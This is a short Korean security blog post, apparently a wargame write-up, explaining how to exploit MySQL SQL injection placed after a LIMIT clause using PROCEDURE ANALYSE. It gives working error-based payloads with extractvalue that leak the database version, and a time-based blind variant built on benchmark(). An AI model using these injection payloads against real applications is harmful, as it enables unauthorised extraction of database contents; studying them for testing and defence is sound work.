rubiya의 LOS 를 풀다가 알게된 기법을 적으려 한다.
이 기법은 사용자의 입력값이 아래와 같이 LIMIT 절 다음에 들어갈 시 사용할 수 있는 취약점이다.
SELECT * FROM member WHERE id='guest' LIMIT {user input}
먼저 SELECT 의 문법에 대해 살펴보자.
이와 같이 LIMIT 이후에는 procedure analyse, into ~ 등을 쓸 수 있다.
그 중 procedure analyse 를 이용한 에러기반, 블라인드 기법에 대해 설명한다.
procedure analyse 는 보통 테이블에 들어있는 데이터를 분석하여 통계를 내주는 기능이다.
해당 기능은 총 2개의 파라미터를 받는다. (http://dev.mysql.com/doc/refman/5.0/en/procedure-analyse.html)
여기에 보통 에러기반 인젝션에 사용되는 Extractvalue,UpdateXML 함수를 통해 공격을 할 수 있다.
여기서는 Extractvalue 를 통해 공격을 진행하겠다.
보통 extractvalue 를 통해 에러인젝션을 시도할 때의 공격구문은 다음과 같다.
extractvalue(1,concat(0x3a,version()))
이 문법을 통해 다음과 같이 공격을 진행한다.
SELECT * FROM table WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())))
-> Incorrect parameters to procedure 'analyse'
파라미터를 하나 더 줘서 시도해본다.
SELECT * FROM table WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1)
-> XPATH syntax error: ':5.1.41-community'
성공적으로 version이 뽑힌걸 확인할 수 있다.
에러를 직접 확인할 수 없을때 아래와 같이 시간지연+블라인드 기법을 섞은 쿼리를 쓸 수 있다.
limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,sleep(1),0))),1);
-> Only constant XPATH queries are supported
sleep 함수대신 benchmark 함수를 써본다.
limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,benchmark(1000000,sha('a')),0))),1);
성공적으로 시간지연이 일어나고 한글자씩 추출해낼 수 있다.
아직 깊게 실험해본 기법이 아니라 틀린점이 있을수도 있습니다. 부족한부분은 점차 채워가도록 하겠습니다.
틀린점은 댓글로 알려주시면 감사하겠습니다.
'Security' 카테고리의 다른 글
New Error Based SQL Injection in MySQL >= 5.7.5 (1) | 2015.04.05 |
---|---|
Natas 11 (0) | 2015.03.05 |
리눅스 보호기법 확인 (2) | 2015.02.26 |
Stripped 된 바이너리의 Symbol 정보찾는법 (0) | 2015.02.21 |
Pyc Decompiler (0) | 2015.02.09 |